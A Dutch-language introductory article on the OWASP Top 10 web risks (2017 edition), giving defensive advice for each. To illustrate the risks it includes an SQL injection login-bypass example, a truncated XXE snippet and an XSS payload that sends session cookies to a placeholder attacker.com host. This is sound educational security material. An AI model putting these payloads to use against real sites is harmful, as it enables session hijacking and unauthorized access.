Top 10 veel voorkomende webaanvallen: The First Steps to Protect Your Website

Een veelgebruikte statistiek die vaak door InfoSec-professionals wordt gedeeld, is “78% van de aanvallen is gericht tegen de applicatie”.

Er gaat geen week voorbij of er wordt melding gemaakt van weer een massale inbreuk of kwetsbaarheid, die miljoenen gebruikers in alle sectoren treft. Of dat getal nu klopt of dat het in werkelijkheid maar 74% is (of waarschijnlijker dichter bij 85%), één ding is duidelijk: onze websites lopen gevaar, en als de uwe nog niet is aangevallen, is het slechts een kwestie van tijd en geld (en de motivatie van de aanvaller).

Een interessant aspect dat veel van deze aanvallen gemeen hebben, is dat ze niet zeer technisch zijn en alleen haalbaar door de geavanceerde teams van hackers die in de kelder van de NSA zitten. De meest voorkomende bron van deze aanvallen is een groep die bekend staat als “script kiddies”, ongetrainde jongeren die simpelweg geautomatiseerde toolkits van het internet downloaden en elke willekeurige site proberen te kraken die gemakkelijk te misbruiken laaghangende kwetsbaarheden biedt. Zelfs de meer ervaren cybercriminelen beginnen hun eerste pogingen met dezelfde toolkits (of iets geavanceerdere versies ervan).

Waarom moeten we ons zorgen maken? Omdat dit betekent dat de meest voorkomende aanvallen, en de kwetsbaarheden die het meest worden uitgebuit, altijd de eerste en zwakste keten in onze verdediging zullen zijn.

Dientengevolge moet dit ook het punt zijn waarop we onze eerste inspanningen concentreren om die verdediging te verstevigen. Gelukkig is het ook de gemakkelijkste plek om te testen en te zorgen voor een minimaal beveiligingsniveau.

Deze veel voorkomende kwetsbaarheden zijn verzameld in een “Top Tien” lijst door de vriendelijke vrijwilligers van OWASP – de Open Web Application Security Project, een wereldwijde non-profit charitatieve organisatie gericht op het verbeteren van de veiligheid van software.

Hoewel deze Top Tien lijst is niet echt een “security checklist”, het is vaak de eerste set van kwetsbaarheden die aanvallers zullen proberen. Evenzo zijn er een overvloed aan geautomatiseerde tools die uw website zullen scannen in dienst van de aanvallers, waardoor ze snel de kritieke gebreken kunnen ontdekken die hen toegang verlenen tot uw kostbaarheden.

Hier zijn OWASP’s Top 10 Application Security Risks, editie 2017:

1. Injectie

Een aanvaller kan in staat zijn om uw webapplicatie te manipuleren in het veranderen van de commando’s die worden ingediend bij de subsystemen, door simpelweg misvormde verzoeken met bedorven payloads te verzenden. De bekendste van deze aanvallen is SQL Injectie, waarbij een gebruiker van uw website ervoor kan zorgen dat uw applicatie het volgende wijzigt:

select * from users where username=’AviD’ and password=’1234′
in this:
select * from users where username=’Admin’

Dit stelt de aanvaller in staat om in te loggen op uw applicatie als een beheerder, zonder zelfs maar het wachtwoord te kennen. Andere toepassingen van deze aanval zijn het stelen van geheimen (of geld), het veranderen van gegevens, of zelfs het wissen van alle sporen van activiteit.

Andere vormen zijn LDAP Injection, XPath Injection, Command Injection, SMTP Injection – elke keer dat de applicatie onvertrouwde gebruikersinput samenvoegt in een commando dat wordt doorgegeven aan een interpreter. De abnormale gegevens kunnen de interpreter verleiden tot het uitvoeren van onbedoelde commando’s of toegang tot gegevens zonder de juiste autorisatie.

Deze aanvallen kunnen meestal vrij eenvoudig worden voorkomen door het volgen van een paar principes:

• Valid alle onvertrouwde invoer met een white-list aanpak, ongeacht de bron.
• Toegang tot de database altijd alleen met geparametriseerde query’s en stored procedures, in plaats van het aaneenschakelen van een string query.
• Nog beter, gebruik een goede ORM (Object Relational Mapping) bibliotheek (zoals Hibernate, Entity Framework, ActiveRecord om er een paar te noemen, afhankelijk van uw platform).
• Beperk de potentiële schade van een succesvolle exploit door de database privileges van de applicatie te beperken.

2. Broken Authentication

De meeste toepassingen vereisen dat hun gebruikers inloggen voordat ze het gebruiken, vaak met een gebruikersnaam/wachtwoord combinatie. Er zijn veel soorten gebreken in dit authenticatiesysteem, die op verschillende manieren kunnen worden uitgebuit: woordenboekaanvallen, geautomatiseerde brute kracht, credential stuffing, session hijacking, en meer.

Een aanvaller die erin slaagt een geldig wachtwoord te raden, kan zich voordoen als die gebruiker en elke actie uitvoeren die zijn slachtoffer zou kunnen doen – zonder dat het mogelijk is om onderscheid te maken tussen de aanvaller en het slachtoffer.

Om dit te voorkomen is een meerlaagse aanpak nodig:

• Wijzig alle standaardwachtwoorden.
• Versterk sterke, willekeurige wachtwoorden voor alle gebruikers: ten minste 12 willekeurige tekens, zonder beperkingen, bij voorkeur opgeslagen in een wachtwoordbeheerder; of als alternatief, een passphrase met ten minste 5 willekeurige woorden.
• Limiteer inlogpogingen, waarbij de gebruikersaccount na een bepaald aantal foute wachtwoorden voor een bepaalde tijd wordt vergrendeld.
• Gebruik een veilige platform session manager, die willekeurig lange sessie-identifiers genereert en een veilige sessie-levenscyclus implementeert.
• Bescherm wachtwoorden met een cryptografisch “wachtwoord hash” algoritme, zoals Bcrypt, scrypt, of Argon2.

Ook, overweeg de implementatie van multi-factor authenticatie om wachtwoord-gebaseerde aanvallen te beperken, en sta niet toe dat een aanvaller uw wachtwoord omzeilt door de naam van uw kat te kennen in de “Wachtwoord vergeten” pagina. Er zijn nog een paar details die relevant kunnen zijn, afhankelijk van uw specifieke architectuur en context.

3. Blootstelling van gevoelige gegevens

Geheimzinnige gegevens moeten meestal worden beschermd met encryptie en andere cryptografische algoritmen. Dit wordt echter maar al te vaak op een onvolledige manier geïmplementeerd, als het al gebeurt, waardoor aanvallers gevoelige informatie kunnen bemachtigen die ze niet zouden moeten kunnen bemachtigen, waaronder wachtwoorden, creditcards, persoonlijke informatie (PII) en andere bedrijfskritische gegevens.

Veel voorkomende fouten zijn het niet versleutelen van gegevens; het maken van een aangepast versleutelingsschema in plaats van standaardalgoritmen en -protocollen; het gebruik van zwakke sleutels; het blootgeven van versleutelingscodes; en het niet correct implementeren van protocollen, bijv.

Het gebruik van de juiste cryptografische controles (zoals AES-encryptie voor opgeslagen gegevens en TLS met HSTS ingeschakeld voor verkeer), met de juiste parameters, zou uw gevoelige gegevens ruimschoots moeten beschermen, zowel in rust als in transit.

4. XML External Entities (XXE)

Vaak moeten toepassingen XML-documenten van gebruikers ontvangen en verwerken. Oude of slecht geconfigureerde XML-parsers kunnen een XML-functie mogelijk maken die bekend staat als externe entiteitsreferenties in XML-documenten, die bij evaluatie de inhoud van een ander bestand insluiten. Aanvallers kunnen dit misbruiken om vertrouwelijke gegevens te lezen, toegang te krijgen tot interne systemen en zelfs de applicatie plat te leggen in een Denial of Service (DoS)-aanval.

Een XML-document dat bijvoorbeeld het volgende bevat:

]>&xxe;

zou de inhoud van het wachtwoordbestand binnen het XML-document bevatten.

Dit kan worden voorkomen door DTD en External entity evaluation in de parser uit te schakelen, of door te upgraden naar een moderne parser library die niet kwetsbaar is.

5. Broken Access Control

De meeste webapplicaties beperken wat gebruikers kunnen zien of doen, of het nu gaat om toegang tot de persoonlijke gegevens van een andere gebruiker of een beperkt gebied.

De toegangscontrolemechanismen die deze beperkingen afdwingen, zijn echter meestal op maat gemaakte implementaties en vaak zeer gebrekkig. Aanvallers kunnen deze controles omzeilen of misbruiken om toegang te krijgen tot ongeoorloofde functionaliteit of gegevens, zoals toegang tot accounts van andere gebruikers, gevoelige bestanden bekijken, gegevens van andere gebruikers wijzigen, administratieve acties uitvoeren, en meer.

Om gebreken in toegangscontrole te verhelpen en te voorkomen, is een systemische aanpak nodig. Een volledige, grondige beoordeling van alle functies van de toepassing, systeemvereisten, gebruikersrollen en andere beperkingen is noodzakelijk. Er zijn verschillende gangbare modellen die kunnen worden toegepast, afhankelijk van de vereisten. De meest gebruikelijke zijn rolgebaseerde toegangscontrole (RBAC), discretionaire toegangscontrole (DAC), en integriteitsgebaseerde of verplichte toegangscontrole (MAC).

Andere, meer nichegerichte modellen kunnen gebaseerd zijn op attributen (ABAC), beleid (PBAC), context (CBAC), en classificatie (er bestaan verschillende modellen, vooral in het DoD), alsmede diverse andere aangepaste regelingen. Het is belangrijk het toegangscontrolemodel goed te ontwerpen, zodat het uniform kan worden toegepast en efficiënt kan worden beheerd. Ga uit van het beginsel van “Least Privilege”, en autoriseer alleen waar dat nodig is.

Voor veel systemen geldt bovendien dat de toegang tot persoonlijke gegevens van gebruikers moet worden gecontroleerd vanuit het oogpunt van privacy. Het wordt nog belangrijker om de privacy van gebruikers adequaat te beschermen en toegang zonder toestemming te voorkomen, vooral in het licht van de GDPR-update van de EU.

6. Misconfiguratie van beveiliging

Servers en applicaties hebben veel bewegende delen die allemaal goed moeten worden geconfigureerd. Dit geldt voor alle niveaus van de toepassingsstack, van het besturingssysteem en netwerkapparaten tot de webserver en de toepassing zelf.

Default, onvolledige, of ad hoc configuraties kunnen bestanden onbeschermd laten, standaard wachtwoorden ingeschakeld, cloud services geopend, en gevoelige informatie lekken via foutmeldingen of HTTP headers, evenals tal van andere onveilige instellingen waarmee een aanvaller toegang zou kunnen krijgen tot het systeem of gegevens.

Natuurlijk is er niet één instelling die deze kwetsbaarheid zou kunnen voorkomen. Alle mogelijk kwetsbare instellingen moeten worden gecontroleerd. Merk op dat dit ook tijdige systeemupdates en patches omvat.

7. Cross-Site Scripting (XSS)

Met behulp van XSS kan een aanvaller de webpagina’s wijzigen die andere gebruikers in uw toepassing te zien krijgen, of dit nu is om informatie zoals wachtwoorden en creditcards te stelen, nepgegevens te verspreiden, gebruikerssessies te kapen, door te sturen naar een andere site of kwaadaardige scripts uit te voeren in de browser van het slachtoffer.

Deze kwetsbaarheid kan zich voordoen wanneer niet-vertrouwde gegevens worden opgenomen in een webpagina of respons, zonder de juiste validatie of sanitization. De aanvaller kan formulieren met HTML- of JavaScript-fragmenten indienen, die direct in de pagina worden ingesloten en door de browser worden weergegeven.

Bijv. deze servercode:

response.write(“Goedemorgen, ” + request.getParameter(“Name”));

insluit de parameter Name van de gebruiker direct in de uitvoer. Dit is bedoeld om de volgende pagina terug te geven, als de naam van de gebruiker “John” is:

Goedemorgen, John

In plaats daarvan kan een aanvaller een schadelijke payload injecteren:

Goedemorgen, Baasdocument.location=’http://attacker.com/?cookie=’+document.cookie

die door de browser van de gebruiker wordt uitgevoerd, waarbij de sessie-cookie naar de aanvaller wordt verzonden en deze de sessie kan kapen.

De belangrijkste bescherming tegen XSS-aanvallen is het gebruik van de juiste codering. HTML-codering maakt bijvoorbeeld van alle “speciale” tekens HTML-entiteiten, zodat ze voor de gebruiker hetzelfde worden weergegeven, maar door de parser niet als geldige HTML-tags worden herkend. Er zijn echter andere vormen van codering die moeten worden gebruikt, afhankelijk van de specifieke context van de gegevensuitvoer – bv. Attribuutcodering, JavaScript-codering, CSS-codering, enzovoort. De meeste moderne webplatforms bieden deze functionaliteit automatisch of als een functie-aanroep, en er zijn genoeg beveiligingsbibliotheken voor degenen die dat niet doen.

Daarnaast is het een goed idee om Content Security Policy (CSP) te implementeren, om te voorkomen dat de browser een XSS-aanval weergeeft die er doorheen is gekomen. Configureer ook uw sessie cookies (hetzij in uw applicatie code of in de webserver configuratie) om het HttpOnly attribuut op te nemen, om te voorkomen dat succesvolle XSS exploits de sessies van uw gebruikers kunnen kapen.

8. Onveilige deserialisatie

De nieuwste toevoeging aan deze lijst, onveilige deserialisatie kan injectieaanvallen en privilege-escalatie mogelijk maken, en zelfs leiden tot code-uitvoering op afstand en serverovername in bepaalde situaties.

Veel toepassingen moeten objecten en gegevens serialiseren in een indeling die gemakkelijk over de draad kan worden verzonden, of zelfs in een bestand kan worden opgeslagen. Wanneer een applicatie deze objecten terugplaatst in het geheugen door de geformatteerde data, ontvangen van een gebruiker, te deserialiseren, zou het mogelijk kunnen zijn om te knoeien met het geheugen van het object, en er zelfs voor zorgen dat het willekeurige functies uitvoert.

De beste manier om onveilige deserialisatie te voorkomen is om nooit objecten te deserialiseren van onvertrouwde data! Het is veel beter om native deserialisatieformaten helemaal te vermijden waar mogelijk, en in plaats daarvan de voorkeur te geven aan een gegevensformaat zoals XML of JSON.

Als het nodig is om van het native formaat te deserialiseren, is het nodig om de interne functies van uw programmeertaal te begrijpen om dit veilig te kunnen doen. Er zijn verschillende stappen nodig om dit veilig te doen, afhankelijk van de taal waarin uw applicatie is ontwikkeld. In Java kun je bijvoorbeeld de java.io.ObjectInputStream klasse subklassen. Daarnaast is het aan te raden om alleen te deserialiseren van gegevens die door uw applicatie digitaal zijn ondertekend.

9. Het gebruik van componenten met bekende kwetsbaarheden

Moderne software wordt niet meer gebouwd als een monoliet – het is altijd afhankelijk van een steeds groter aantal 3rd party componenten, frameworks, en open source bibliotheken. Elke bekende kwetsbaarheid in deze afhankelijkheden kan direct ook uw eigen applicatie beïnvloeden! Soms zal dit leiden tot andere kwetsbaarheden op deze lijst, zoals injectie, remote code execution, of een andere fout die aanvallers toegang kan geven tot gevoelige gegevens of acties.

Recentelijk werd precies zo’n probleem toegeschreven aan de massale Equifax inbreuk, waar ze geen patch installeerden voor Apache Struts2. In plaats daarvan bleven ze op een versie waarvan bekend was dat aanvallers op afstand willekeurige commando’s konden uitvoeren.

De beste manier om te voorkomen dat u in deze val loopt, is om al uw afhankelijkheden te controleren (inclusief de transitieve afhankelijkheden) en te controleren of een van hen momenteel kwetsbaar is. Implementeer een proces om ervoor te zorgen dat uw applicatie altijd de laatste stabiele versies van alle afhankelijke bibliotheken en componenten haalt nadat u ze getest hebt. In feite zijn er momenteel tal van commerciële tools die dit voor uw team kunnen bijhouden, evenals de gratis Dependency-Check van OWASP.

10. Onvoldoende logging & Monitoring

Weliswaar proberen we onze systemen immuun te maken voor alle mogelijke aanvallen, maar realistisch gezien moeten we accepteren dat sommige aanvallen door onze verdediging heen zullen komen. Een veerkrachtige verdediging moet echter meerdere lagen omvatten. Dit omvat de mogelijkheid om aanvallen die ondanks al onze inspanningen zijn geslaagd, op te sporen, bij voorkeur zo snel mogelijk.

Dit kan een organisatie nog steeds in staat stellen zich van de aanval te herstellen, of zelfs de schade zo veel mogelijk te beperken. Een logging- en monitoringmechanisme, gecombineerd met een effectieve incidentrespons, kan voorkomen dat aanvallers zich op extra interne bronnen richten, zich permanent in de organisatie nestelen, en hen ervan weerhouden nog meer gegevens te stelen of te wijzigen.

Installeer een gemeenschappelijk loggingmechanisme voor de hele applicatie. Het is het beste om een bestaande bibliotheek te gebruiken, zoals log4J, maar het is niet vereist. Het log mechanisme zou alle door de gebruiker geïnitieerde acties, runtime fouten, en alle andere gevoelige gebeurtenissen moeten verzamelen. Zorg ervoor dat de loggegevens goed beschermd zijn, en vergeet niet om de beheerders te voorzien van een zoek- en review-interface!

Het goede nieuws is dat de meeste van deze problemen relatief eenvoudig zijn, en eenvoudig te voorkomen als je weet waar je op moet letten. Daarom, hoewel dit geen uitgebreide lijst is van alle veiligheidsproblemen waar je op moet letten, is het zeker een van de beste plaatsen om je expeditie naar een beschermde website te beginnen!